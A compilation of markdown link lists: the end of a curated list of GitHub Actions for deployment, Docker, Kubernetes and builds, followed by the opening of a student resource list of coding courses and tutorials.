- [Publish Article to Dev.to](https://github.com/tylerauerbeck/publish-to-dev.to-action)
- [Action For Semantic Release](https://github.com/cycjimmy/semantic-release-action)
- [Deploy a Collection to Ansible Galaxy](https://github.com/artis3n/ansible_galaxy_collection)
- [Publish module to Puppet Forge](https://github.com/barnumbirr/action-forge-publish)
- [Build and publish Electron apps](https://github.com/samuelmeuli/action-electron-builder)
- [Publish a Maven package](https://github.com/samuelmeuli/action-maven-publish)
- [Build and deploy a theme to Ghost CMS](https://github.com/TryGhost/action-deploy-theme)
- [Deploy an Ansible role to Ansible Galaxy](https://github.com/robertdebock/galaxy-action)
- [Publish one or more JS modules to a registry](https://github.com/author/action-publish)
- [Publish a package with 2FA using Slack](https://github.com/erezrokah/2fa-with-slack-action)
- [Serialize Workflow Runs in Continuous Deployment Pipelines](https://github.com/softprops/turnstyle)
- [Netlify Deploy GitHub Action for each commit](https://github.com/nwtgck/actions-netlify)
- [Run Ansible Playbooks](https://github.com/arillso/action.playbook)
- [Publish a Python Distribution Package to Anaconda Cloud](https://github.com/fcakyon/conda-publish-action)
- [Deploy VS Code Extension to Visual Studio Marketplace or the Open VSX Registry](https://github.com/HaaLeo/publish-vscode-extension)
- [Deploy a YouTube Video to Anchor.fm Podcast](https://github.com/Schrodinger-Hat/youtube-to-anchorfm)
- [Deploy with AWS CodeDeploy](https://github.com/webfactory/create-aws-codedeploy-deployment)
#### Docker
- [Update a Docker Hub repository description from README.md](https://github.com/peter-evans/dockerhub-description)
- [Publish Docker Images to the GitHub Package Registry (GPR)](https://github.com/machine-learning-apps/gpr-docker-publish)
- [Update a repository's "Full description" on Docker Hub](https://github.com/mpepping/github-actions/tree/master/docker-hub-metadata)
- [Build and publish docker images to any registry using Kaniko](https://github.com/outillage/kaniko-action)
- [Monitor and limit your docker image size](https://github.com/wemake-services/docker-image-size-limit)
- [Publish Docker Images to the Amazon Elastic Container Registry (ECR)](https://github.com/appleboy/docker-ecr-action)
- [Build And Push Your Docker Images Caching Each Stage To Reduce Build Time](https://github.com/whoan/docker-build-with-cache-action)
- [Set up Docker Buildx](https://github.com/crazy-max/ghaction-docker-buildx)
- [Convert Branch or Tag Name Into Docker-Compatible Image Tag](https://github.com/ankitvgupta/ref-to-tag-action/)
- [Update a Container Repository Description From README.md](https://github.com/marketplace/actions/update-container-description-action) - Supported Registries: Docker Hub, Quay, Harbor.
#### Kubernetes
- [Deploy to any Cloud or Kubernetes Using Pulumi](https://github.com/pulumi/actions)
- [Deploy to Kubernetes with kubectl](https://github.com/steebchen/kubectl)
- [Get Kubeconfig File From Google Kubernetes Engine (GKE)](https://github.com/machine-learning-apps/gke-kubeconfig)
- [Kustomize Kubernetes Config YAMLs](https://github.com/karancode/kustomize-github-action)
- [Create a Kubernetes Cluster for Testing Using Krucible](https://github.com/Krucible/krucible-github-action)
#### AWS
- [Sync/upload a directory to an AWS S3 bucket](https://github.com/jakejarvis/s3-sync-action)
- [Deploy Lambda code to an existing function](https://github.com/appleboy/lambda-action)
#### Terraform
- [Generate terraform documentation](https://github.com/Dirrk/terraform-docs) - Uses terraform-docs to generate docs for terraform modules.
- [An example of using Terraform to validate and apply GitHub administration](https://github.com/asgharlabs/github-terraform/tree/master/.github/workflows)
### External Services
- [Use a Jenkinsfile](https://github.com/jonico/jenkinsfile-runner-github-actions)
- [GitHub Action for Firebase](https://github.com/w9jds/firebase-action)
- [GitHub Action for Contentful Migration CLI](https://github.com/Shy/contentful-action)
- [GitHub Actions for Pixela (a-know/pi)](https://github.com/peaceiris/actions-pixela)
- [GitHub Action for Google Cloud Platform (GCP)](https://github.com/exelban/gcloud)
- [Upload files to any OpenStack Swift service provider](https://github.com/iksaku/openstack-swift-action)
- [GitHub Action for sending Stack Overflow posts to Slack](https://github.com/logankilpatrick/StackOverflowBot)
- [Assume AWS role](https://github.com/nordcloud/aws-assume-role/)
- [Generate Custom Response using JSONbin](https://github.com/fabasoad/jsonbin-action)
### Frontend Tools
- [Execute Gradle task](https://github.com/MrRamych/gradle-actions)
- [JS Build Actions](https://github.com/elstudio/actions-js-build) - Run Grunt or Gulp build tasks and commit file changes.
- [GitHub Action for Gatsby CLI](https://github.com/jzweifel/gatsby-cli-github-action)
- [Runs a WebPageTest audit and prints the results as commit comment](https://github.com/JCofman/webPagetestAction)
- [GitHub Actions for Hugo extended](https://github.com/peaceiris/actions-hugo)
- [Generate OG Image](https://github.com/BoyWithSilverWings/generate-og-image) - Generate customisable open graph images from Markdown files.
- [GitHub Actions for mdBook](https://github.com/peaceiris/actions-mdbook)
- [Setup Mint](https://github.com/fabasoad/setup-mint-action) - Setup Mint (programming language for writing single page applications).
- [Gatsby AWS S3 Deployment](https://github.com/jonelantha/gatsby-s3-action) - Deploy Gatsby to S3 (supports CloudFront).
### Machine Learning Ops
- [Submitting Argo Workflows (Cloud Agnostic)](https://github.com/machine-learning-apps/actions-argo)
- [Submitting Argo Workflows to GKE](https://github.com/machine-learning-apps/gke-argo)
- [Query Experiment Tracking Results From Weights & Biases](https://github.com/machine-learning-apps/wandb-action)
- [Run Parameterized Jupyter Notebooks](https://github.com/yaananth/run-notebook)
- [Compile, Deploy and Run Kubeflow Pipeline](https://github.com/NikeNano/kubeflow-github-action)
- [Automatically Dockerize A Data-Science Repo As A Jupyter Server](https://github.com/jupyterhub/repo2docker-action)
- [Azure Machine Learning With GitHub Actions](https://github.com/machine-learning-apps/ml-template-azure)
### Build
- [run-cmake](https://github.com/lukka/run-cmake) - Multi platform action to build C/C++ software with [CMake](https://cmake.org) and [Ninja](https://ninja-build.org/).
- [run-vcpkg](https://github.com/lukka/run-vcpkg) - Multi platform action to build and install C/C++ dependencies with [vcpkg](https://github.com/microsoft/vcpkg).
- [Build Go applications for multiplatform](https://github.com/izumin5210/action-go-crossbuild)
- [Generate ~/.m2/settings.xml for Maven builds](https://github.com/whelk-io/maven-settings-xml-action)
- [Run Pascal Script](https://github.com/fabasoad/pascal-action)
- [Setup Brainfuck](https://github.com/fabasoad/setup-brainfuck-action) - Setup brainfuck interpreter.
- [Publish Go Binaries to GitHub Release Assets](https://github.com/wangyoucao577/go-release-action)
- [Setup COBOL](https://github.com/fabasoad/setup-cobol-action)
### Database
- [Setup Cassandra Schema](https://github.com/fabasoad/setup-cassandra-action) - Running scripts from the provided folder on top of Cassandra cluster.
### Localization
- [Find and automatically fix typos and grammar issues in your code](https://github.com/sobolevn/misspell-fixer-action)
- [Translation](https://github.com/fabasoad/translation-action) - Translate text from any language to any language.
### Fun
- [Add equivalent of a like button in your README](https://github.com/ariary/Readme-Like-Button) - Visualize community approval on some part of your readme (can be used as a poll).
### Cheat Sheet
- [GitHub Actions Branding Cheat Sheet](https://haya14busa.github.io/github-action-brandings/)
## Tutorials
- [Continuous deployment of Next.js app with Up](https://medium.com/@romanenko/simple-ci-for-next-js-projects-with-apex-up-github-actions-6f0b1b9a5400)
- [Converting Docker-based Actions to JavaScript/TypeScript](https://httgp.com/converting-github-actions-from-docker-to-javascript/)
- [GitHub Actions CI for Swift/iOS Projects](https://medium.com/rosberryapps/github-actions-ci-for-swift-projects-c129baceed1a)
- [Working with GitHub Actions](https://jeffrafter.com/working-with-github-actions)
- [GitHub Actions for Rails Developers](https://www.youtube.com/watch?v=gGUXydw22zw)
- [GitHub Actions Advent Calendar](https://www.edwardthomson.com/blog/github_actions_advent_calendar.html)
- [Zero Downtime Laravel Deployments with GitHub Actions](https://atymic.dev/blog/github-actions-laravel-ci-cd/)
- [Building Custom GitHub Actions Pluralsight Course](https://www.pluralsight.com/courses/building-custom-github-actions/)
- [Continuously Deploying Django to DigitalOcean with Docker and GitHub Actions](https://testdriven.io/blog/deploying-django-to-digitalocean-with-docker-and-github-actions/)
- [Deploying Self-Hosted GitHub Actions Runners with Docker](https://testdriven.io/blog/github-actions-docker/) - Deploy self-hosted GitHub Actions runners with Docker and Docker Swarm to DigitalOcean.
- [Setup Auto-scaled self-hosted GitHub Actions Runners on AWS Spot-instances](https://040code.github.io/2020/05/25/scaling-selfhosted-action-runners)
- [Getting the Gist of GitHub Actions](https://gist.github.com/br3ndonland/f9c753eb27381f97336aa21b8d932be6)
> Please don't hesitate to make a PR if you have more resources to share. Check out [contributing.md](contributing.md) for more information.
|
<h1 align="center"> A to Z Resources for Students </h1>
If you think this repository helped you in any in finding new opportunities, tag me on Twitter at [@HQdeepak](https://twitter.com/HQdeepak) and help it reach more people in the community.
[Buy Me a Coffee](https://www.buymeacoffee.com/dipakkr)
---
Are you a college student or a working professional looking for resources to learn a new coding language? Are you looking to meet new people in your community or searching for global conferences, hackathons and competitions to attend? If so, you should definitely check this out.
When I was in college, I missed a lot of opportunities like hackathons, conferences, internships, workshops and many global events due to lack of awareness. I don't want the emerging developers to suffer the same as me. Hence, I and a bunch of other developers around have collected a list of resources for students. If you are in college, a college graduate, or just starting out as a developer, you should definitely check it out!
*Image credits: Google*
## Table of Contents :clipboard:
1. [Coding Resources - How to learn xyz ](#1-coding-resources)
- [Python](#11-python)
- [Machine Learning](#12-machine-learning)
- [Deep Learning](#13-deep-learning)
- [Android Development](#14-android-development)
- [Backend Development ](#15-backend-development)
- [Frontend Web Development](#16-frontend-web-development)
- [Full-stack Web Development](#122-full-stack-web-development)
- [Data Structures](#17-data-structures)
- [Alexa Tutorials](#18-alexa-tutorials)
- [C Language](#19-c-language)
- [C++ Language](#110-c-language)
- [Git and Github](#111-git-and-github)
- [R Language](#112-r-language)
- [Haskell](#113-haskell)
- [MongoDB](#114-mongodb)
- [Prolog](#115-prolog)
- [C# Language](#116-c-language)
- [DevDocs](#117-devdocs)
- [Docker](#118-docker)
- [Microsoft Technologies](#119-microsoft-technologies)
- [Scala](#120-scala)
- [Programming Notes for Professionals](#121-programming-notes-for-professionals)
- [MATLAB/Octave](#122-matlaboctave)
- [Go Language](#123-go-language)
2. [Hackathons and Events](#2-hackathons-and-events)
- [Top Global Hackathons](#21-top-global-hackathons-)
- [Competitions](#22-competitions-)
- [Hackathon Search Portal](#23--hackathon-search-portals-dart)
- [Events](#24-events-)
- [Startup Summits and Competitions](#25-startup-summits-competitions-and-bootcamps-neckbeard)
- [Hiring Challenges](#26-hiring-challenges)
3. [Student Benefits and Programs](#3-student-benefits-and-programs-fire)
- [Campus Ambassador Programs](#campus-ambassador-programs-v)
- [Student Benefits and Packs](#student-benefits-and-packs-v)
- [Student Fellowship Programs](#student-fellowship-programs-v)
- [Scholarships](#scholarships-runner)
4. [Open Source Programs](#4-open-source-programs)
5. [Startup Programs and Incubators](#5-startup-programs-and-incubators-mag_right)
6. [Internship Portals](#6-internship-programs)
7. [Developer Clubs and Meetups](#7-developer-clubs-and-meetups)
8. [Conferences for students](#8-conferences-bookmark_tabs)
9. [Top People to Follow](#9-top-people-to-follow)
10. [Top Websites to Follow](#10-top-websites-to-follow)
11. [Top 50 YouTube Channels to Follow](#50-top-youtube-channels)
- [Top 10 in Technology](#111-top-10-in-technology)
- [Top 10 in Startup](#112-top-10-in-startup)
- [Top 10 in Design](#113-top-10-in-design)
- [To 10 in Business](#114-top-10-in-business)
- [Top 10 in Finance](#115-top-10-in-finance)
12. [Additional Links](#12-additional-links-hamster)
13. [Bootcamps](#13-coding-bootcamps)
14. [Miscellaneous Resources](#14-miscellaneous-resources)
- [Design Resources](#141-design-resources)
- [Podcasts](#142-podcasts)
15. [Top sites for Aptitude Preparion for Placements](#15-top-sites-for-aptitude-preparion-for-placements)
16. [Contributors](CONTRIBUTORS.md)
---
# FYI
- Are you just getting started? Look for the :baby: emoji. It highlights resources for absolute beginners.
- Some resources are recommended for _everyone_, so they have a :star: emoji.
- Willing to spend some money to improve your skills? :heavy_dollar_sign: indicates paid content.
---
# 1. Coding Resources
## 1.1 Python
> [**Browse this link for detailed information on Python**](Python/Python.md)
- **Tutorials**
- [Learn Python | CodeAcademy](https://www.codecademy.com/learn/learn-python)
- [Progate Python Classes](https://progate.com/languages/python) :baby:
- [Video Tutorial for absolute beginners | YouTube](http://bit.ly/2NkrsKh) :baby:
- [Intro to Python | Udacity](https://in.udacity.com/course/introduction-to-python--ud1110-india) :free:
- [Python For Everybody](https://www.coursera.org/specializations/python)
- [Write Better Python Functions](https://jeffknupp.com/)
- [Learning Python: From Zero to Hero](https://medium.freecodecamp.org/learning-python-from-zero-to-hero-120ea540b567)
- [Automate the Boring Stuff with Python](https://automatetheboringstuff.com/) - Recommended
- [The New Boston Python | Youtube](https://www.youtube.com/playlist?list=PL6gx4Cwl9DGAcbMi1sH6oAMk4JHw91mC_) :baby:
- [Think Python 2e - Green Tea Press](http://greenteapress.com/thinkpython2/thinkpython2.pdf)
- [A Byte of Python](https://python.swaroopch.com/)
- [Project Euler](https://projecteuler.net/) - Great for practicing writing Python codes
- [A Whirlwind Tour of Python](https://github.com/jakevdp/WhirlwindTourOfPython)
- [Python Data Science Handbook](https://github.com/jakevdp/PythonDataScienceHandbook)
- [Python Class By Google](https://developers.google.com/edu/python/) - Recommended
- [Intro to Python for Data Science](https://www.datacamp.com/courses/intro-to-python-for-data-science)
- [Python 3 for humans that want practical project exposure](https://pythonprogramming.net/)
- [Learn Python the Hard Way](https://learnpythonthehardway.org/)
- [Learn Python Programming](https://www.scaler.com/topics/python/)
- [Complete Python tutorials](https://www.youtube.com/playlist?list=PLwgFb6VsUj_lQTpQKDtLXKXElQychT_2j)
- [Python Tutorial | Tutlane](https://www.tutlane.com/tutorial/python)
- [ Python Course by IIT M | You Tube ](https://www.youtube.com/watch?v=8ndsDXohLMQ&list=PLZ2ps__7DhBb2cXAu5PevO_mzgS3Fj3Fs)
- [ Real Python ](https://realpython.com/)
- [ Finxter Learn, Train and get feedback ](https://finxter.com/)
- [Python Tutor | For Visualization](https://pythontutor.com/visualize.html#mode=edit)
- [Code Combat (Python and JavaScript options)](https://codecombat.com/)
- [Python Interview Questions](https://www.interviewbit.com/python-interview-questions/)
- [Python interview questions for data analyst](https://www.interviewbit.com/data-analyst-interview-questions/)
- [Python Cheat Sheet](https://www.interviewbit.com/python-cheat-sheet/)
- [Python Language and Syntax Cheat Sheet](https://user-images.githubusercontent.com/84919650/227742970-7507ef1e-01fa-4e7e-a448-e0d587bb0769.png)
- [Python Tutorial: A Comprehensive Guide for Beginners](https://wiingy.com/learn/python/python-tutorial/)
- **Best GitHub Repositories to follow**
- [The Algorithms Python](https://github.com/TheAlgorithms/Python)
## 1.2 Machine Learning
> [**Browse this link for detailed information on Machine Learning and Deep Learning**](ML/ML.md)
- **Best Online Courses**
- [CSE-229 - Stanford University]( http://cs229.stanford.edu/)
- [AndrewNg | Coursera](https://www.coursera.org/learn/machine-learning) - Select individual course if it consists of multiple then click on audit below the trial/payment options
- [Machine Learning - Nanodegree | Udacity](https://in.udacity.com/course/intro-to-machine-learning--ud120-india) :heavy_dollar_sign:
- [ Reinforcement Learning - Nanodegree | Udacity](https://in.udacity.com/course/reinforcement-learning--ud600) :heavy_dollar_sign:
- [Move 37](https://www.theschool.ai/courses/move-37-course/) - :free:
- [ML with Python | YouTube](https://www.youtube.com/playlist?list=PLQVvvaa0QuDfKTOs3Keq_kaG2P55YRn5v)
- [Data Science Machine Learning Bootcamp](https://courses.learncodeonline.in/learn/Machine-Learning-Bootcamp?tab=1) - :heavy_dollar_sign:
- [Machine Learning Crash Course | Google Developers](https://developers.google.com/machine-learning/crash-course/ml-intro)
- [Applied Data Science with Python Specialization | Coursera](https://www.coursera.org/specializations/data-science-python) -Select individual course if it consists of multiple then click on audit below the trial/payment options
- [Machine Learning | Kaggle](https://www.kaggle.com/learn/machine-learning)
- [Machine Learning Interview Questions](https://www.interviewbit.com/machine-learning-interview-questions/)
- [Machine Learning Tutorial | Scaler Topics](https://www.scaler.com/topics/machine-learning/)
- **Best GitHub Repositories to follow**
- [Self Taught Path for Data Science](https://github.com/ossu/data-science)
- [Machine Learning Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials)
- [Coding Train](https://github.com/CodingTrain)
-[Machine Learning cheatsheets for Stanford's CS 229](https://github.com/afshinea/stanford-cs-229-machine-learning)
- **Research Papers**
- [Arxiv](https://arxiv.org/)
- [IEEE](https://ieeexplore.ieee.org/Xplore/home.jsp)
- [Research Gate](https://www.researchgate.net/)
- [Academics Torrent - Search Dataset](http://academictorrents.com/)
- [Arxiv Sanity - Search best papers](http://www.arxiv-sanity.com)
- [Openreview](https://openreview.net/)
- [Research Papers with code](https://github.com/zziz/pwc)
- [Papers with code](https://paperswithcode.com/)
- **Test ML Models on Datasets**
- [Kaggle](https://www.kaggle.com/)
- [UCI ML Repository](https://archive.ics.uci.edu/ml/datasets.html)
- [Data.Gov](https://www.data.gov/)
- **Book for Machine Learning**
- [Introduction to Statistical Learning](https://www.ime.unicamp.br/~dias/Intoduction%20to%20Statistical%20Learning.pdf) - :free:
## 1.3 Deep Learning
> [**Browse this link for detailed information on Machine Learning and Deep Learning**](ML/ML.md)
- **Best Online Courses**
- [Deep Learning Specialization | Coursera](https://www.coursera.org/specializations/deep-learning) - Select individual course if it consists of multiple then click on audit below the trial/payment options
- [Deep Learning | Fast.AI](http://course.fast.ai/)
- [Deep Learning | Kaggle](https://www.kaggle.com/learn/deep-learning/)
- [Deep Learning Interview Questions and Answers (2023)](https://www.adaface.com/blog/deep-learning-interview-questions/)
- **Best Online Books**
- [Neural Networks and Deep Learning](http://neuralnetworksanddeeplearning.com/)
- [An MIT Press book](http://www.deeplearningbook.org/)
- **Best GitHub Repositories to follow**
- [Top 200 GitHub Repos in Deep learning](https://github.com/mbadry1/Top-Deep-Learning)
- [DensePose - FB Research](https://github.com/facebookresearch/DensePose)
- [Data Science HandBook](https://github.com/jakevdp/PythonDataScienceHandbook)
- [Tensorflow Project Template](https://github.com/MrGemy95/Tensorflow-Project-Template)
- [VisualDL](https://github.com/PaddlePaddle/VisualDL)
- [Caire - Content aware image resize library ](https://github.com/esimov/caire)
- [Top Deep Learning](https://github.com/mbadry1/Top-Deep-Learning)
- [Learn Deep learning in 6 weeks](https://github.com/llSourcell/Learn_Deep_Learning_in_6_Weeks) :star:
## 1.4 Android Development
> [Checkout the Full Resources on ANDROID](Android/Android.md) :baby:
- [Free courses & Nanodegree | Udacity](https://udacity.com)
- [PluralSight - Android Developer Track](https://www.pluralsight.com/paths/android) :heavy_dollar_sign:
- [Path to Associate Android Developer](https://github.com/Amejia481/Associate-Android-Developer-Certification)
- [Google Android Codelabs](https://codelabs.developers.google.com/)
- [Flutter Widget Tour](https://flutter.io/widgets-intro/)
- [Android examples ](https://github.com/nisrulz/android-examples)
- [Flutter Examples ](https://github.com/nisrulz/flutter-examples)
- [Pathway to Follow ](https://roadmap.sh/android)
- [Learn Android Programming | Tutlane](https://www.tutlane.com/tutorial/android)
## 1.5 Backend Development
- [Introduction to backend](https://in.udacity.com/course/intro-to-backend--ud171)
- [Backend Roadmap](https://raw.githubusercontent.com/kamranahmedse/developer-roadmap/master/img/backend.png)
- **Django - Python**
- [Try Django | YouTube](https://www.youtube.com/playlist?list=PLEsfXFp6DpzTD1BD1aWNxS2Ep06vIkaeW) :baby:
- [Django Docs](https://docs.djangoproject.com/en/2.1/)
- [Django Girls](https://tutorial.djangogirls.org/en/)
- [MDN Web Docs](https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django) :baby:
- [SimpleIsBetterThanComplex Blog](https://simpleisbetterthancomplex.com/)
- [Tango With Django Book](https://www.tangowithdjango.com/book/)
- [Django Class-Based Views](https://ccbv.co.uk/)
- [Django Tutorial | Scaler Topics](https://www.scaler.com/topics/django/)
- **Flask - Python**
- [The Flask Mega Tutorial](https://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world) :baby: + Intermediate
- **Node.JS**
- [NodeSchool | Workshops Open Source](https://nodeschool.io/) :heart:
- [The Complete Node.js Developer Course | Udemy](https://www.udemy.com/the-complete-nodejs-developer-course-2/) :heavy_dollar_sign:
- [Express web framework (Node.js/JavaScript)](https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs)
- [Learn and Understand NodeJS](https://www.udemy.com/understand-nodejs/?siteID=jU79Zysihs4-ysDvxh6JST3o9mSuR2USMQ&LSNPUBID=jU79Zysihs4) :heavy_dollar_sign: - Intermediate
- [Node JS Tutorial for Beginners | YouTube](https://www.youtube.com/watch?v=w-7RQ46RgxU&list=PL4cUxeGkcC9gcy9lrvMJ75z9maRw4byYp) :baby:
- [Node.js Documentation](https://nodejs.org/dist/latest-v8.x/docs/api/) :star:
- [Node.js Design Patterns by Mario Casciaro](https://github.com/PacktPublishing/Node.js_Design_Patterns_Second_Edition_Code) - Book Advanced level
- [Node.js API Design](https://www.youtube.com/playlist?list=PLzQWIQOqeUSMzMUEJA0XrOxJbX8WTiCJV)
- [Node.js handbook by Flavio Copes](https://flaviocopes.com/express-handbook/) - :baby:
- [Mixu's Node book](http://book.mixu.net/node/)
- [What You Need To Know About Node.js](https://www.packtpub.com/free-ebooks/what-you-need-know-about-nodejs) (Email address requested, not required. By Packt)
- [Express.js - Production Security Best Practices](https://expressjs.com/en/advanced/best-practice-security.html)
- [Learn Node.js | Tutlane](https://www.tutlane.com/tutorial/nodejs)
- [Learn Node.js | Scaler Topics](https://www.scaler.com/topics/nodejs/)
- **PHP**
- [PHP Manual](http://php.net/manual/en/index.php)
- [PHP Interactive Tutorial](https://www.learn-php.org)
- [W3Schools](https://www.w3schools.com/php/)
- [Tutorial Point](https://www.tutorialspoint.com/php/)
- [PHP with Database tutorial ](https://www.codeproject.com/Articles/759094/Step-by-Step-PHP-Tutorials-for-Beginners-Creating)
- [Guide for PHP and SQL connection with HTML form.](https://github.com/shauryauppal/PHP-Database-connection)
- [PHP: The Right Way](https://phptherightway.com)
- [PHP: The Wrong Way](http://www.phpthewrongway.com/)
- [BitDegree-Php](https://bitdegree.org/learn/learn-php)
- [PHP Best Practices](https://phpbestpractices.org/)
- [PHP Pandas](https://daylerees.com/php-pandas/)
- [PHP Internals Book](http://www.phpinternalsbook.com/)
- [Let's Build A Forum with Laravel and TDD](https://laracasts.com/series/lets-build-a-forum-with-laravel)
- [SoloLearn: Learn to Code for Free!](https://www.sololearn.com/) :baby:
- [Learn PHP ](https://www.interviewbit.com/blog/php-developer/)
- **Ruby**
- [Ruby on Rails Tutorial](https://www.railstutorial.org/book)
- [Learn Ruby The Hard Way](https://learnrubythehardway.org/book/)
- [Learn Ruby | Codecademy](https://www.codecademy.com/learn/learn-ruby) - Familiarity with Ruby before Rails
- [Learn Ruby, Dev Concept and More | Upskills with Upcase](https://thoughtbot.com/upcase/practice) - Familiarity with ruby and coding concepts
- [SoloLearn: Learn to Code for Free!](https://www.sololearn.com/) :baby:
- [Ruby Tapas](https://www.rubytapas.com/) - Short, Focused Screencasts covering Intermediate to Advanced Ruby concepts and techniques, design principles, testing practices, refactoring, etc.
- [Why's (Poignant) Guide to Ruby](https://poignant.guide/)
- [RailsCasts](http://railscasts.com) - Video tutorials on more intermediate Ruby on Rails topics.
- [Ruby on Rails Tutorial](https://www.railstutorial.org/book/frontmatter) - Learn Web Development with Rails
- **MongoDB**
- [MongoDB Tutorial for Beginners | YouTube](https://www.youtube.com/watch?v=GtD93tVZDX4)
- [Tutorial for Beginner](https://www.youtube.com/watch?v=GtD93tVZDX4)
- [Free Courses and Paid Private training](https://university.mongodb.com/)
- [Understanding Mongoose Deep Population](http://frontendcollisionblog.com/mongodb/2016/01/24/mongoose-populate.html)
- [MongoDB full tutorial for beginners](https://www.quackit.com/mongodb/tutorial/)
- [MongoDB tutorial for intermediate](https://www.guru99.com/mongodb-tutorials.html)
- **Software architecture**
- [Microservices by Chris Richardson](https://microservices.io/index.html)
## 1.6 Frontend Web Development
- [Frontend Masters](https://frontendmasters.com/) :heavy_dollar_sign:
- [Frontend Roadmap](https://raw.githubusercontent.com/kamranahmedse/developer-roadmap/faa0ec253021944ef15fe0872673f7e42102d7e9/img/frontend.png)
- [How to become a Frontend Developer](https://user-images.githubusercontent.com/84919650/227743259-9d38c3fa-36fe-4abb-9684-69608806e210.png)
- [Frontend Mentor **FREE**](https://www.frontendmentor.io/)
- [General Assembly Dash **FREE**](https://dash.generalassemb.ly/)
(General Assembly Dash currently works best in Microsoft Edge as of 10-2018)
- **HTML5 and CSS3**
- [HTML and CSS Tutorials | w3schools.com](https://www.w3schools.com/html/default.asp) :baby:
- [Intro to HTML/CSS: Making webpages](https://www.khanacademy.org/computing/computer-programming/html-css)
- [Intro to HTML and CSS | Udacity](https://in.udacity.com/course/intro-to-html-and-css--ud001-india)
- [Write quicker HTML5 and CSS 3 | Learn Code Online](https://courses.learncodeonline.in/learn/emmet-course?)
- [Flexbox Interactive](https://codepen.io/enxaneta/full/adLPwv)
- [freeCodeCamp](https://www.freecodecamp.org/)
- [HTML & CSS Catalog | Codecademy](https://www.codecademy.com/catalog/language/html-css)
- [Interneting is Hard](https://internetingishard.com/html-and-css/)
- [HTML MDN Web Docs](https://developer.mozilla.org/en-US/docs/Learn/HTML)
- [CSS MDN Web Docs](https://developer.mozilla.org/en-US/docs/Learn/CSS)
- [Codrops CSS Reference](https://tympanus.net/codrops/css_reference/)
- [The Odin Project](https://www.theodinproject.com/)
- [HTML Dog Tutorials](http://www.htmldog.com/guides/)
- [30 Seconds of CSS](https://30-seconds.github.io/30-seconds-of-css/)
- [CSS Grid](https://cssgrid.io/)
- [CSS Flexbox | Wes Bos](https://flexbox.io/)
- [CSS Basic Cheatsheet](https://user-images.githubusercontent.com/84919650/227743321-96c328b5-1378-42b1-8613-cc0fd1e1962e.png)
- [CSS-The Complete Guide (incl. Flexbox, Grid & Sass)](https://www.udemy.com/css-the-complete-guide-incl-flexbox-grid-sass/) (**Udemy Paid**) *Good for beginners*
- [Advanced CSS and SASS](https://www.udemy.com/advanced-css-and-sass) - **(Udemy Paid)**
- [flexbox cheatsheet](https://darekkay.com/dev/flexbox-cheatsheet.html)
- [Flexbox Froggy | CSS Learning Game](https://flexboxfroggy.com/)
- [Flexbox Zombies](https://mastery.games/p/flexbox-zombies)
- [CSS Reference: A Visual CSS Cheat Sheet](https://cssreference.io/) *Good for beginners*
- [HTML Reference: A Visual HTML Cheat Sheet](https://htmlreference.io/) *Good for beginners*
- [Learn to Code HTML & CSS: Shay Howe ](https://learn.shayhowe.com/html-css/)
- [BitDegree-Learn HTML](https://bitdegree.org/learn/html-basics)
- [BitDegree-Learn CSS](https://bitdegree.org/learn/css-basics)
- [CSS Grid Garden Game](https://cssgridgarden.com/)
- [HTML & HTML5](https://www.interviewbit.com/html-interview-questions/)
- [HTML Cheat Sheet](https://www.interviewbit.com/html-cheat-sheet/)
- [CSS Cheat Sheet](https://www.interviewbit.com/css-cheat-sheet/)
- [Best HTML and CSS Cheat Sheets](https://cssauthor.com/html-and-css-cheat-sheets/)
- **Bootstrap4**
- [Bootstrap4 Course with Projects | Learn Code Online](https://courses.learncodeonline.in/learn/Complete-Bootstrap-4-course?)
- [BitDegree-BootStrap 4](https://bitdegree.org/learn/bootstrap-css)
- [Bootstrap4 Tutorial for beginners](https://www.quackit.com/bootstrap/bootstrap_4/tutorial/)
- [Bootstrap4 blog top](https://coursetro.com/posts/code/130/Learn-Bootstrap-4-Final-in-2018-with-our-Free-Crash-Course)
- [Bootstrap4 Documentation](https://getbootstrap.com/docs/4.1/getting-started/introduction/)
- [Learn Bootstrap4 | Tutlane](https://www.tutlane.com/tutorial/bootstrap)
- **Bootstrap 5**
- [Bootstrap 5 Cheatsheet](https://bootstrap-cheatsheet.themeselection.com/)
- [Sneat Free Bootstrap 5 HTML Admin Template](https://themeselection.com/products/sneat-free-bootstrap-html-admin-template/)
- **JavaScript**
- [JS MDN Web Docs](https://developer.mozilla.org/en-US/docs/Learn/JavaScript)
- [javascript info](https://javascript.info/)
- [Javascript30 | Wes Bos](https://javascript30.com/)
- [Intro to JavaScript | Udacity](https://in.udacity.com/course/intro-to-javascript--ud803-india)
- [JavaScript Docs and Live examples](https://www.w3schools.com/js/)
- [JavaScript: Mostly Adequate Guide to Functional Programming](https://mostly-adequate.gitbooks.io/mostly-adequate-guide/)
- [JavaScript: The Good Parts by Douglas Crockford](https://www.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742) :star: :heavy_dollar_sign:
- [You Don’t Know JS (book series)](https://github.com/getify/You-Dont-Know-JS) :star:
- [Eloquent JavaScript Online](https://eloquentjavascript.net/)
- [JavaScript Design Patterns | Udacity](https://in.udacity.com/course/javascript-design-patterns--ud989)
- [Theodinproject](https://www.theodinproject.com/courses/web-development-101/lessons/fundamentals-part-1)
- [Introduction to JavaScript | freeCodeCamp](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript)
- [HTML Dog](http://www.htmldog.com/guides/javascript/)
- [Javascript Tutorial for Beginner Complete Course 2018 | YouTube](https://www.youtube.com/watch?v=PwsigsH4oXw)
- [33 JS concepts every JavaScript developer should know](https://github.com/leonardomso/33-js-concepts)
- [30 Seconds of Code](https://30secondsofcode.org/)
- [example.js | js by example | CodePen ](https://codepen.io/towc/post/examplejs-1-1)
- [Foundations of Programming in JavaScript](https://www.youtube.com/playlist?list=PLRqwX-V7Uu6Zy51Q-x9tMWIv9cueOFTFA) :baby:
- [Learning JavaScript Design Patterns](https://addyosmani.com/resources/essentialjsdesignpatterns/book/)
- [BitDegree-JS Basics](https://bitdegree.org/learn/javascript-basics)
- [Wes Bos list of courses](https://wesbos.com/courses/)
- [freeCodeCamp](https://www.freecodecamp.org/)
- [SoloLearn: Learn to Code for Free!](https://www.sololearn.com/) :baby:
- [ES6 Cheatsheet](https://es6cheatsheet.com/)
- [RegexOne | Regular Expression course](https://regexone.com/)
- [Dmitry Soshnikov's blog | A blog about JavaScript](http://dmitrysoshnikov.com/)
